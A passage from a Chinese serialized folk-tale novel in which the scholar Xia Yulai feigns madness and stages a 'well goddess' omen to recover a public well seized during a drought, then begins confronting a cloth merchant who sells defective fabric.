贾仁被严惩后,潮州城的百姓们都欢欣鼓舞。夏雨来装疯卖傻智斗劣师的故事,迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。 “你们听说了吗?夏秀才又装疯了!这次是为了孩子们,把贾仁那个劣师耍得团团转!” “当然听说了!夏秀才先是疯闹学堂,搅黄了贾仁的收费局;又揭穿了贾仁胸无点墨的真相;最后还带着家长们告状,让知县大人严惩了贾仁,吊销了他的私塾执照!” “真是太解气了!贾仁那个坏蛋,乱收费、虐学童,早就该被严惩了!” “夏秀才太机智了!装疯卖傻不仅为孩子们讨回了公道,还让潮州城有了一个干净的求学环境,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯斗劣师的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,启蒙私塾被知县大人重新任命了一位新先生 —— 这位先生姓王,是一位真正有学问、有德行的老秀才,不仅教学认真,还不收任何杂费,百姓们都十分满意。孩子们重新回到学堂,脸上都洋溢着开心的笑容。 夏雨来也来到了私塾,穿着干净的青布长衫,恢复了往日温文尔雅的模样。家长们和孩子们见状,都纷纷围了上来:“夏秀才,你这次装疯,真是太精彩了!”“谢谢你为我们讨回了公道,让孩子们能安心读书!” 夏雨来笑了笑,说道:“孩子们是潮州城的未来,是百姓们的希望,我不能让他们被劣师误了前程。贾仁之所以敢为所欲为,就是因为他觉得百姓们为了让孩子读书,会忍气吞声。我装疯卖傻,一来是想让他放松警惕,二来是想借着‘孔圣人显灵’的说法,戳中他内心的迷信和畏惧,让他不敢再放肆。” 他顿了顿,继续说道:“其实,真正打败贾仁的,不是我的疯癫戏,而是家长们对孩子的爱和团结一心。如果不是大家都站出来支持我,提供证据,知县大人也不会这么快就严惩贾仁。教育是大事,关乎孩子的未来,关乎潮州城的明天,我们必须共同守护,不让劣师有可乘之机。” 新先生王秀才走上前,对着夏雨来拱手道:“夏秀才,你不仅有智谋,还有一颗为民的心。你装疯卖傻,看似荒唐,实则是大智慧。你为潮州城的学童们做了一件大好事,百姓们都会感激你的!” 夏雨来连忙回礼:“王先生过奖了。我只是做了我该做的事情。教书育人,是神圣的事业,只有真正有学问、有德行的人,才能配得上‘先生’二字。希望王先生能好好教导孩子们,让他们成为有学问、有德行的人,为潮州城增光添彩。” 王秀才点了点头:“夏秀才放心,我一定会尽心尽力,教书育人,不辜负百姓们的期望,不辜负你的一片苦心。” 孩子们纷纷拿出自己画的画、写的字,递给夏雨来:“夏秀才,这是我画的你,谢谢你!”“夏秀才,这是我写的‘公道’二字,我以后也要像你一样,为百姓做主!” 夏雨来接过孩子们的礼物,心里十分欣慰。他看着眼前这些天真烂漫的孩子,看着家长们脸上幸福的笑容,知道自己做的这一切,都是值得的。 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真聪明,装疯卖傻斗劣师。乱收费,全退还,虐学童,受严惩,学堂换新天,学童乐融融!” 百姓们和孩子们纷纷跟着合唱起来,歌声回荡在私塾的院落里,与孩子们的读书声交织在一起,充满了希望和喜悦。 阳光透过私塾的窗棂,洒在孩子们认真读书的脸上,也洒在夏雨来欣慰的笑容上。潮州城的市井,因为这场私塾风波,变得更加清明有序;孩子们的未来,因为夏雨来的机智勇敢,变得更加光明。 自此,夏雨来 “装疯卖傻斗劣师” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,守护好我们所珍视的一切。 而鬼才秀才夏雨来的名字,也永远与潮州城的学堂、古树、市井一起,深深烙印在百姓们的心中,成为了正义、智慧与勇气的象征。 25. 古井危机 一、冬旱缺水,古井遭霸 隆冬的潮州城,天干物燥,连续一个月未曾降下一滴雨水。东门街的青石板路被晒得发白,沿街的草木蔫头耷脑,连阿翠茶摊的铜壶都要省着用泉水,往日里热闹的市井,因缺水多了几分沉闷。百姓们赖以生存的 “惠民古井”,坐落于街心老榕树旁,已有两百余年历史,井水清甜甘冽,从未干涸,是东门街数十户街坊唯一的饮用水源。 这日清晨,天刚蒙蒙亮,卖菜的王伯提着水桶去古井挑水,却被眼前的景象惊得目瞪口呆 —— 古井周围被一圈木桩围了起来,四个凶神恶煞的家丁手持棍棒守在一旁,为首的正是陈老财的管家周福。“王伯,往后这口井归我家老爷了,要喝水就得交银子!” 周福双手叉腰,倨傲地说道。 “什么?” 王伯气得浑身发抖,“这是街坊们共用的古井,怎么就成你家老爷的了?陈老财不是还在大牢里吗?” “哼!我家老爷虽在狱中,可陈家的产业还在!” 周福嗤笑一声,“这古井的地界,早年就沾了陈家的边,如今我家老爷要把它收回来,井水一斤一文钱,想喝就掏钱,没钱就等着渴死!” 原来,陈老财在狱中得知潮州城冬旱缺水,便让狱卒传信给周福,让他趁机霸占惠民古井,靠卖水敛财,一来能弥补陈家的损失,二来也能报复街坊们当初支持夏雨来的仇。周福得了指令,连夜带人围了古井,还在井边立了块牌子,写着 “陈家私井,饮水付费”。 消息很快传遍了东门街,街坊们纷纷赶来,个个面带怒色。“周福,你太过分了!这井是我们的命根子,你怎么能霸占!” 阿翠扶着年迈的张老爹,气愤地说道。张老爹是东门街最年长的老人,他小时候就听祖辈说,这口古井是明朝时街坊们一起开凿的,历代都为公共所用,从未有过私占的道理。 “过分?” 周福冷笑一声,“如今井水是稀罕物,我家老爷愿意拿出来卖,已经是仁至义尽了!再敢闹事,就别怪我对你们不客气!” 他挥了挥手,家丁们立刻举起棍棒,吓得几位老人连连后退。 街坊们敢怒不敢言,只能眼睁睁看着家丁们守着古井。没有水,不仅无法做饭洗衣,连阿翠的茶摊都开不了业,孩子们更是渴得直哭。“这可怎么办啊?” 一位妇人抱着哭闹的孩子,急得眼泪直流,“我们家存的水只够喝一天了,没钱买水,难道真要渴死吗?” 就在这时,夏雨来背着旧书箱,慢悠悠地从街那头走来。他刚从城外访友回来,听说了古井被霸占的事情,脸色顿时沉了下来。“夏秀才,你可回来了!” 街坊们像是抓住了救命稻草,纷纷围了上来,诉说着周福的恶行。 夏雨来安抚好街坊们的情绪,沉思片刻,嘴角又勾起了那抹熟悉的狡黠笑容:“周福是陈老财的狗腿子,贪财又迷信,仗着陈老财的余威作威作福。对付他,硬拼没用,讲道理他也听不进去。不如我再装一次疯癫,借着‘井神显灵’的由头,给他唱一出好戏,让他不仅不敢霸占古井,还得乖乖给井神赔罪,把古井还给街坊们!” “又装疯子?” 阿翠有些担忧,“周福比赵三、贾仁都要凶狠,他要是对你下狠手怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“周福只是个管家,没什么真本事,最怕的就是遭报应。我就抓住他这个软肋,用疯癫的言行让他误以为触怒了井神,自然就不敢再放肆了。水是百姓的命根子,这古井,必须保住!” 说罢,夏雨来转身跑回自己的小屋,片刻后便换了一身行头 —— 这次他披头散发,穿着一件打满补丁的麻布衣裳,腰间系着一串用贝壳串成的 “项链”,手里拿着一根缠着红绳的树枝,活脱脱一个供奉井神的 “疯癫巫祝” 模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“井神娘娘,显灵验,甘甜泉水润万民,谁敢霸占你家园,天打雷劈遭报应……” 街坊们见状,都纷纷议论起来:“夏秀才这是要干啥?真的疯了?”“上回他装疯护古树、斗劣师,这次肯定是为了保护古井!”“不管是不是真疯,只要能夺回古井就行!” 夏雨来不理会众人的议论,径直朝着惠民古井走去。一场围绕古井的疯癫大戏,即将拉开帷幕。 二、第一计:疯认古井为母,乱其霸井局 惠民古井旁,周福正坐在一张太师椅上,一边嗑着瓜子,一边监督着家丁们向街坊们收费卖水。几个家境稍好的街坊,迫于无奈,只能掏钱买水,一桶水要价五十文,比平时买米还贵。周福看着手里的银子,笑得合不拢嘴,心里暗暗得意:还是老爷有办法,这干旱天,井水就是摇钱树! “周管家,能不能便宜点?” 一位老农颤巍巍地递上二十文钱,“我家里还有老伴和孙子,就这点钱,求你给我半桶水吧!” “便宜?” 周福一脚踢开老农的水桶,“没钱就别喝!我家老爷说了,一文钱一分货,少一文都不行!” 老农被踢倒在地,水桶滚落在一旁,水洒了一地。街坊们见状,都十分愤怒,却又不敢上前阻拦。 就在这时,一阵疯疯癫癫的歌声从人群外传来:“井神娘,我的母,甘甜泉水养我身,谁敢霸占你家园,我与他来拼命……” 众人循声望去,只见夏雨来披头散发,腰系贝壳项链,手里挥舞着红绳树枝,疯疯癫癫地冲了过来。他径直跑到古井边,一把抱住井栏,脸贴在冰冷的石头上,呜呜咽咽地哭了起来:“井神娘,我的亲娘啊!你怎么被人关起来了?他们要抢你的奶水,要让百姓们渴死,我来保护你!” 周福皱了皱眉,认出这是夏雨来,心里顿时生出几分厌恶和忌惮。他早就听说夏雨来智斗陈老财、保护老榕树、惩治贾仁的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“哪里来的疯子?快给我赶走!别耽误老子卖水!” 家丁们连忙上前,想要拉开夏雨来。可夏雨来抱井栏抱得死死的,一边躲闪一边哭喊:“不许碰我娘!你们这些坏人,要抢我娘的奶水,先杀了我!井神娘娘有灵,会保佑我的!” 他忽然站起身,指着周福的鼻子,疯疯癫癫地骂道:“你这个黑心肠的狗腿子!我娘养了潮州城百姓两百年,你竟然帮着陈老财霸占她,要卖她的奶水赚钱!你会遭报应的!你走路会摔跤,喝水会呛着,睡觉会做噩梦,出门会被雷劈!” 周围的街坊们见状,都忍不住窃笑起来。“夏秀才骂得好!”“周福就是该遭报应!” 周福的脸色瞬间变得难看,他最忌讳别人说他遭报应 —— 毕竟陈老财还在大牢里,他心里本就有些发虚。可他又不想在街坊们面前丢了面子,只能强装镇定地喊道:“疯子胡言乱语!这口井是陈家的私产,我家老爷想怎么处置就怎么处置,轮不到你这个疯子来管!” “私产?” 夏雨来哈哈大笑,笑得前仰后合,“好啊!你说这井是陈家的私产,有什么证据?是有地契,还是有官府的文书?我娘在这里住了两百年,看着潮州城的百姓生老病死,你说她是陈家的私产,你问问她答应吗?” 他一边说,一边拿起地上的树枝,朝着井口轻轻敲打,嘴里喊道:“井神娘,你快说话!告诉他们,你不是陈家的私产,你是百姓们的亲娘!” 街坊们也纷纷附和:“是啊!这井是百姓们的公共财产,不是陈家的私产!”“周福,你拿不出证据,就是霸占公共财物!” 周福心里咯噔一下,他根本拿不出什么证据,陈老财让他霸占古井,只是口头吩咐,哪里有什么地契和文书?他知道,夏雨来说的是实话,官府对霸占公共财物的行为查得很严,要是真闹到官府,他肯定讨不到好。 可他又不想就这么认怂,只能硬着头皮说道:“我…… 我不需要证据!我说这井是陈家的,就是陈家的!你要是再敢多管闲事,我就对你不客气!” “不客气?” 夏雨来冷笑一声,“你想怎么不客气?是想动手打人,还是想把我扔到井里?我告诉你,这里这么多街坊都看着,你要是敢动手,就是公然殴打百姓、霸占公共财物,官府追究起来,你和陈老财都脱不了干系!到时候,陈老财在大牢里也不得安宁,你也得跟着吃牢饭!” 周福心里一紧,他知道夏雨来指的是陈老财。陈老财已经因为作恶多端被抓入狱,要是再因为霸占古井的事情被官府追究,肯定会加重刑罚,到时候陈老财出来,肯定不会饶了他。 就在周福犹豫不决时,夏雨来又说道:“周福,我知道你是奉命行事。可你有没有想过,井神娘娘是有灵性的,你霸占她,卖她的奶水,她肯定会生气的。要是她发怒,让井水干涸,不仅街坊们喝不到水,你也赚不到钱,还会遭天谴!你这是得不偿失啊!” 这句话,正好戳中了周福的软肋。他知道,陈老财让他霸占古井,就是为了赚钱,要是井水真的干涸了,他不仅交不了差,还可能被陈老财怪罪。而且他从小就听长辈说,惠民古井有灵性,不能亵渎,心里本就有些迷信,被夏雨来这么一说,更是有些害怕。 周福的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围街坊们愤怒的目光,心里开始打退堂鼓。 三、第二计:疯阻卖水闹剧,显其井神威 周福虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地走了。他眼珠一转,又想出了一个歪主意:“就算这井不是陈家的私产,可如今干旱缺水,井水来之不易,我家老爷出钱修缮了水井,收取一点水费也是应该的!你要是再敢捣乱,我就喊人来,把你抓起来送官!” “修缮水井?” 街坊们纷纷喊道,“我们怎么不知道?这井一直好好的,根本不需要修缮!” “我说是修缮了就是修缮了!” 周福强词夺理,“你们要是不想交钱,就别想喝井水!我看你们能渴多久!” 他知道,街坊们离不开井水,只要他坚持收费,街坊们迟早会妥协。 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是东门街最年长的人,您来说说,这口井最近有没有人修缮?” 张老爹连忙站起身,说道:“这口井一直好好的,井水清甜,从来没有出过问题,根本不需要修缮!周福就是想借着干旱的机会,敲诈我们百姓的钱财!” “是啊!我天天来挑水,从来没见过有人修缮水井!” 另一位街坊也站起身说道,“周福就是在撒谎!” “我可以作证!这井根本没有修缮过!” “周福就是故意敲诈勒索!” 周围的街坊们纷纷站起身,为古井作证。他们每天都来古井挑水,对水井的情况了如指掌,自然不会让周福肆意撒谎。 周福看着眼前的一幕,脸色更加难看。他没想到,这么多街坊都为古井作证,他的谎言根本站不住脚。 “你们…… 你们都是一伙的!” 周福气急败坏地说道,“你们故意偏袒这个疯子!我才不信你们的话!” “偏袒?” 夏雨来冷笑一声,“我们只是说句公道话。这里这么多街坊,难道大家都在偏袒我?难道大家的眼睛都瞎了?周福,你要是真觉得井水来之不易,就应该让街坊们免费饮用,而不是趁机敲诈勒索!你这样做,不仅违背了天理良心,还触怒了井神娘娘,迟早会遭报应的!” 他一边说,一边从怀里掏出一把香,点燃后插在井边,“香烛敬给井神娘,保佑我打败这些坏蛋,让百姓们喝上甘甜的泉水!” 家丁们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏古井,心里害怕真的会遭报应。 周福气得眼睛都红了,亲自上前,想要拉开夏雨来。可夏雨来死死抱住井栏不放,还对着周福吐口水:“你这个坏蛋!我娘不会放过你的!你霸占她一天,百姓们就渴一天,你就是百姓们的仇人!” 就在这时,井里忽然传来 “咕嘟咕嘟” 的声响,像是有气泡冒了上来。夏雨来见状,立刻大喊道:“大家快看!井神娘娘显灵了!她生气了,要惩罚这些坏蛋!” 街坊们纷纷围到井边,果然看到井水里有气泡不断冒出,吓得连连后退。“真的显灵了!”“井神娘娘生气了!” 周福也吓得脸色惨白,他本来就迷信,看到这一幕,更是吓得魂飞魄散。他以为真的触怒了井神娘娘,井水要干涸了,连忙跪倒在地,对着井口连连磕头:“井神娘娘,饶命啊!我不是故意要霸占您的,都是陈老财让我做的!求您别生气,别让井水干涸!” 夏雨来见状,心里暗暗得意,却依旧疯疯癫癫地说道:“井神娘说了,要想让她不生气,就得把古井还给百姓们,再也不许收费卖水,还要给她赔罪!” 周福连忙点头:“我答应!我答应!我这就把古井还给百姓们,再也不收费卖水了!求井神娘娘饶了我!” 其实,井里的气泡是夏雨来早就安排好的。他昨天就发现井边有几个小孩在玩弹珠,便让他们今天在井里放了几个会冒泡的芦苇秆,只要轻轻拉动绳子,芦苇秆就会冒出气泡,看起来就像是井神显灵一样。 四、第三计:疯揭霸井阴谋,逼其当众认 周福虽然答应了把古井还给百姓们,但心里却并不甘心。他觉得夏雨来只是个疯子,街坊们也只是一时冲动,只要过了这阵子,他依旧可以按照陈老财的吩咐,霸占古井,收费卖水。 可他没想到,夏雨来早就料到了这一点。当天下午,夏雨来就带着几位街坊,找到了潮州城的知县大人,状告周福借着干旱的机会,霸占公共古井,敲诈勒索百姓钱财。知县大人早就听说了周福的恶行,也知道惠民古井是百姓们的公共财产,当即决定,亲自去东门街查看情况。 第二天,知县大人带着师爷和官差,来到了惠民古井旁。周福见状,连忙上前讨好:“知县大人,您怎么来了?快请坐!快请坐!” 知县大人没有理会他的讨好,径直走到井边,对着周围的街坊们说道:“街坊们,你们说实话,周福是不是霸占了古井,收费卖水?” 街坊们纷纷点头,七嘴八舌地说道:“是啊!知县大人,周福把古井围了起来,一桶水要价五十文,比米还贵!”“他还踢倒了买水的老农,太过分了!”“我们不交钱,他就不让我们挑水,我们都快渴死了!” 周福吓得浑身发抖,连忙说道:“知县大人,您别听他们胡说!我没有霸占古井,也没有收费卖水,都是这个疯子造谣污蔑我!” 他指着一旁疯疯癫癫的夏雨来说道 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众人都愣住了,没想到夏雨来竟然还藏着这样的 “证据”。其实,这张纸是夏雨来早就准备好的,上面的内容都是他根据街坊们的议论推测出来的。 知县大人接过纸,仔细看了看,脸色渐渐沉了下来。他早就听说陈老财心胸狭隘,睚眦必报,如今看来,夏雨来说的恐怕是真的。 夏雨来见状,又跪在地上,哭喊道:“大人,您可要明察秋毫啊!我娘护了潮州城百姓两百年,不能就这么被他们填了!要是他们真的垄断了水源,百姓们就只能任由他们敲诈勒索,苦不堪言!到时候,潮州城就会民不聊生,您就是千古罪人!” 周围的街坊们也纷纷跪倒在地:“知县大人,求您为百姓做主,保住古井!”“周福是在帮陈老财报复百姓,他根本不是想卖水,是想让我们都渴死!” 周福吓得魂飞魄散,连忙说道:“知县大人,我没有!这都是这个疯子伪造的证据!您可不能相信他!” “是不是伪造的,一查便知!” 夏雨来忽然停止了哭泣,眼神清明地说道,“大人,您可以派人去查陈府的账册,看看他们最近有没有购买填井、盖水窖的材料;您也可以问问周围的街坊,看看周福是不是早就放出话来,要垄断水源。我虽然疯疯癫癫,但我说的都是实话!” 知县大人看着夏雨来坚定的眼神,又看了看周围街坊们恳切的目光,心里已经有了定论。他转头对周福说道:“周福,你涉嫌霸占公共财产,敲诈勒索百姓,意图垄断水源,本知县现在就将你收押,严加查办!” 周福吓得 “扑通” 一声跪倒在地,连连磕头:“知县大人,我错了!我不该霸占古井,不该收费卖水!求您饶了我这一次!” 夏雨来见状,又恢复了疯疯癫癫的模样,哈哈大笑道:“坏蛋认罪啦!井神娘,您听到了吗?坏蛋认罪啦!” 他跑到周福面前,指着他的鼻子骂道:“你这个狗腿子,以后再敢打我娘的主意,我就告诉井神娘,让她把你拖进井里,永远不得超生!” 周福连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,古井永甘甜 知县大人当场下令,拆除了古井周围的木桩,将周福押入大牢,罚银两百两,用于修缮古井和救济缺水的百姓。街坊们见状,都欢欣鼓舞,纷纷跑到井边,打上清甜的井水,大口大口地喝了起来,脸上洋溢着幸福的笑容。 周福被押入大牢后,潮州城的百姓们都拍手称快。夏雨来装疯卖傻保护古井的故事,也迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。 “你们听说了吗?夏秀才又装疯了!这次是为了保护惠民古井,把周福那个狗腿子耍得团团转!” “当然听说了!夏秀才抱着井栏认娘,还让井神娘娘显灵,吓得周福当场磕头认罪,太精彩了!” “真是太解气了!周福借着干旱的机会霸占古井,敲诈百姓,早就该被严惩了!” “夏秀才太机智了!装疯卖傻不仅保住了古井,还惩治了恶奴,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯护井的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,惠民古井旁摆满了百姓们供奉的香烛、糕点和水果,百姓们还特意为古井系上了红布条,祈求古井永远清甜甘冽,庇佑潮州城的百姓。夏雨来也来到了井边,穿着干净的青布长衫,恢复了往日温文尔雅的模样。 百姓们见状,都围了上来:“夏秀才,你这次装疯,真是太精彩了!”“你是怎么想到要认古井为娘的?” 夏雨来笑了笑,说道:“惠民古井是潮州城的宝,是百姓们的命根子,它护了我们两百年,我们自然要保护它。周福之所以敢打古井的主意,就是因为他觉得百姓们缺水,会忍气吞声。我装疯卖傻,一来是想让他放松警惕,二来是想借着‘井神显灵’的说法,戳中他内心的迷信和畏惧,让他不敢再放肆。” 他顿了顿,继续说道:“其实,真正保护古井的,不是我的疯癫戏,而是百姓们对古井的敬畏和团结一心。如果不是大家都站出来支持我,提供证据,知县大人也不会这么快就严惩周福。古井是我们共同的财富,只有我们团结一心,才能保护好它,保护好我们潮州城的每一寸土地,每一份资源。” 张老爹走上前,对着夏雨来拱手道:“夏秀才,你不仅有智谋,还有一颗为民的心。你装疯卖傻,看似荒唐,实则是大智慧。这口古井,因为你而得以保全,百姓们都会感激你的!” 夏雨来连忙回礼:“张老爹过奖了。我只是做了我该做的事情。古井有灵,更有百姓们的民心在护佑。只要我们坚守公道,团结一心,就没有什么能破坏我们的家园,没有什么能夺走我们的生存资源。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻护古井。认井为母挡恶奴,戳穿阴谋显神通,古井甘甜百姓乐,潮州城太平万年红!” 百姓们纷纷跟着合唱起来,歌声回荡在惠民古井旁,与井水的潺潺声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。惠民古井依旧清甜甘冽,如同一位慈祥的母亲,滋养着潮州城的百姓,也见证着夏雨来的侠义传奇。 自此,夏雨来 “装疯卖傻护古井” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树、斗劣师的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的家园和生存资源。 而鬼才秀才夏雨来的名字,也永远与这口百年古井一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 26. 布匹欺诈 一、春和景明,布店藏奸 暮 的潮州城,惠风和畅,东门街的市井一片欣欣向荣。青石板路两旁的花木抽枝吐绿,阿翠的茶摊前宾客满座,铜壶煮茶的香气混着新酿米酒的醇香,弥漫在街巷间。再过一月便是端午,百姓们都忙着准备节礼,给孩子做新衣、给老人添新衫,东门街街口的 “锦华布店” 生意格外红火。 锦华布店的老板赵德发,是个尖嘴猴腮的中年人,早年靠着投机倒把发了点小财,便开了这家布店。此人贪财好利,见端午将至布匹紧俏,便动了歪心思 —— 他从外地低价收购了一批次品布料,这些布看似色泽鲜亮,实则纤维松散、经纬稀疏,稍一拉扯就会断线,洗一次便会缩水变形。赵德发将次品布与正品布混在一起售卖,标价却与正品布相差无几,不少百姓不知情,花了高价却买了次品布。 这日清晨,卖菜的王伯拿着一块刚买的青布,气冲冲地来到锦华布店门口。“赵德发,你给我出来!” 王伯举起布块,对着店里大喊,“我花八十文买的布,回家一洗就缩了半截,还破了好几个洞,你这不是坑人吗?” 赵德发慢悠悠地从店里走出来,双手叉腰,倨傲地说道:“王伯,话可不能乱说!我锦华布店卖的都是上等好布,怎么可能是次品?定是你洗涤不当,才把布洗坏了!” “我怎么洗涤不当了?” 王伯气得浑身发抖,“我用温水轻轻揉洗,连肥皂都没敢多用,怎么会洗坏?分明是你卖的布有问题!” “胡说八道!” 赵德发冷笑一声,“我的布都是从苏杭运来的上等丝绸、棉布,质量绝对有保障。你要是再在这里胡搅蛮缠,我就对你不客气!” 他挥了挥手,店里的两个伙计立刻上前,摆出要动手的架势。 王伯年事已高,哪里经得起这样的恐吓,只能气得浑身发抖,却无可奈何。这时,又有几位百姓拿着布料赶来,个个面带怒色。“赵德发,你卖的布是次品!我给女儿做嫁衣,缝到一半布料就破了!” 一位妇人哭着说道,手里拿着一块撕裂的红布。“是啊!我买的蓝布,颜色一洗就掉,把其他衣服都染脏了!” 另一位街坊也愤愤地说道。 原来,这几日已有不少百姓发现自己买的布有问题,只是赵德发态度强硬,又有伙计撑腰,大家只能自认倒霉。如今见王伯带头找说法,便都跟着赶来,想要讨个公道。 赵德发见来了这么多百姓,心里有些发虚,但依旧强装镇定:“你们别听风就是雨!这些布都是好布,定是你们自己不会用,才出了问题!我告诉你们,想退货退款,门都没有!再敢闹事,我就报官抓你们!” 百姓们闻言,都十分愤怒,却又不敢上前。他们知道,赵德发与县衙的主簿有些交情,真要是报官,吃亏的肯定是自己。“这可怎么办啊?” 那位妇人抱着撕裂的红布,哭道,“这布花了我三个月的积蓄,本想给女儿做件体面的嫁衣,现在全毁了!” 就在这时,夏雨来背着旧书箱,慢悠悠地从街那头走来。他刚从城外的书院回来,听说了锦华布店卖次品布的事情,脸色顿时沉了下来。“夏秀才,你可回来了!” 百姓们像是抓住了救命稻草,纷纷围了上来,诉说着赵德发的恶行。 夏雨来安抚好百姓们的情绪,接过王伯手里的布块,仔细看了看。只见这块布表面光鲜,实则纤维杂乱,经纬密度不均,边缘还有明显的跳线,确实是次品布。他又看了看那位妇人手里的红布,布料轻薄易碎,染料也不均匀,明显是劣质染料染成的。 “赵德发真是胆大包天,竟敢用次品布冒充正品,坑害百姓!” 夏雨来眉头紧锁,沉思片刻后,嘴角又勾起了那抹熟悉的狡黠笑容,“赵德发贪财又好面子,最怕坏了自己的生意名声。对付他,硬拼没用,讲道理他也听不进去。不如我再装一次疯癫,借着‘布有灵性’的由头,给他唱一出好戏,让他不仅乖乖承认欺诈百姓的事实,还得双倍赔偿!” “又装疯子?” 阿翠有些担忧,“赵德发心狠手辣,比周福还难对付,他要是对你下狠手怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“赵德发最看重他的布店名声,他要是敢对我这个‘疯子’动手,传出去就会被百姓们指责,以后谁还敢来他店里买布?我就抓住他这个软肋,用疯癫的言行戳中他的痛处,让他不得不低头!” 说罢,夏雨来转身跑回自己的小屋,片刻后便换了一身行头 —— 这次他披头散发,穿着一件打满补丁的麻布衣裳,腰间系着一串用各色碎布串成的 “项链”,手里拿着一根缠着丝线的木棍,活脱脱一个供奉 “布神” 的 “疯癫布痴” 模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“布神爷,显灵验,经纬分明质如棉,谁敢卖你次品身,天打雷劈遭报应……” 百姓们见状,都纷纷议论起来:“夏秀才这是要干啥?真的疯了?”“上回他装疯护古树、护古井,这次肯定是为了帮我们讨回公道!”“不管是不是真疯,只要能让赵德发赔偿就行!” 夏雨来不理会众人的议论,径直朝着锦华布店走去。一场围绕布匹欺诈的疯癫大戏,即将拉开帷幕。 二、第一计:疯认布料为魂,乱其欺诈局 锦华布店门口,赵德发正对着百姓们耀武扬威,见夏雨来疯疯癫癫地走来,心里顿时生出几分厌恶。“哪里来的疯子?快给我滚开!别耽误我做生意!” 赵德发挥手说道。 夏雨来却像是没听见一样,径直跑到布店门口的货架前,一把抱住一匹红布,脸贴在布料上,呜呜咽咽地哭了起来:“布神爷,我的魂啊!你怎么变成这副模样了?你的筋骨呢?你的血肉呢?是谁把你害成这样,让你成了次品,坑害百姓啊!” 百姓们见状,都忍不住窃笑起来。“夏秀才骂得好!”“这布确实是次品,赵德发就是害人精!” 赵德发的脸色瞬间变得难看,他认出这是夏雨来,早就听说夏雨来智斗陈老财、保护老榕树、护古井的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“疯子胡言乱语!我这布都是上等好布,怎么会是次品?快给我赶走!” 店里的伙计连忙上前,想要拉开夏雨来。可夏雨来抱布抱得死死的,一边躲闪一边哭喊:“不许碰我魂!你们这些坏人,把我魂害成次品,还想打我!布神爷有灵,会保佑我的!” 他忽然站起身,指着赵德发的鼻子,疯疯癫癫地骂道:“你这个黑心肠的奸商!布神爷给你饭吃,你却把他的身子换成次品,坑害百姓的血汗钱!你会遭报应的!你卖布赚的钱,会变成纸钱;你店里的布,会变成破布;你走路会摔跤,吃饭会噎着,睡觉会做噩梦,出门会被雷劈!” 周围的百姓们见状,都纷纷附和:“是啊!赵德发,你卖次品布坑人,迟早会遭报应的!”“快给我们退货赔偿!” 赵德发的脸色一阵青一阵白,他最忌讳别人说他遭报应 —— 毕竟做生意的人,最看重风水运势,心里本就有些发虚。可他又不想在百姓们面前丢了面子,只能强装镇定地喊道:“疯子胡说八道!我这布都是正品,有凭有据,轮不到你这个疯子来管!” “有凭有据?” 夏雨来哈哈大笑,笑得前仰后合,“好啊!你说这布是正品,有什么证据?是有苏杭布商的凭证,还是有官府的质量鉴定?布神爷的身子,经纬分明、纤维紧密,你这布一扯就破、一洗就缩,分明是次品,你还敢狡辩!” 他一边说,一边拿起货架上的一匹布,轻轻一扯,“嘶” 的一声,布就被撕开了一个大口子。“大家快看!这就是他说的上等好布,一扯就破!布神爷要是有灵,肯定会生气的!” 百姓们纷纷围上前,拿起货架上的布,有的轻轻拉扯,有的用指甲刮擦,果然发现这些布质量极差。“真的是次品!一扯就破!”“染料也不好,一刮就掉!”“赵德发,你太黑心了!” 赵德发心里咯噔一下,他没想到夏雨来竟然这么大胆,当众撕毁他的布。他知道,这些布确实是次品,要是被百姓们闹到官府,按照《大明律》,欺诈百姓不仅要退货退款,还要加倍赔偿,甚至可能被吊销店铺执照。 可他又不想就这么认怂,只能硬着头皮说道:“我…… 我这布是不小心被你撕破的!不能算!你要是再敢捣乱,我就对你不客气!” “不客气?” 夏雨来冷笑一声,“你想怎么不客气?是想动手打人,还是想把我扔出去?我告诉你,这里这么多街坊都看着,你要是敢动手,就是公然殴打百姓、欺诈勒索,官府追究起来,你不仅要赔偿我们的损失,还得吃牢饭!到时候,你这布店也得关门大吉!” 赵德发心里一紧,他知道夏雨来说的是实话。官府对欺诈百姓的行为查得很严,要是真闹到官府,他肯定讨不到好。而且他与县衙主簿的交情,也只是表面功夫,真要是出了大事,主簿肯定不会为了他得罪百姓。 就在赵德发犹豫不决时,夏雨来又说道:“赵德发,我知道你是想趁着端午赚点钱。可你也不能用次品布坑害百姓啊!布神爷是有灵性的,你这么做,他肯定会生气的。要是他发怒,让你店里的布都变成破布,你不仅赚不到钱,还会赔得血本无归!你这是得不偿失啊!” 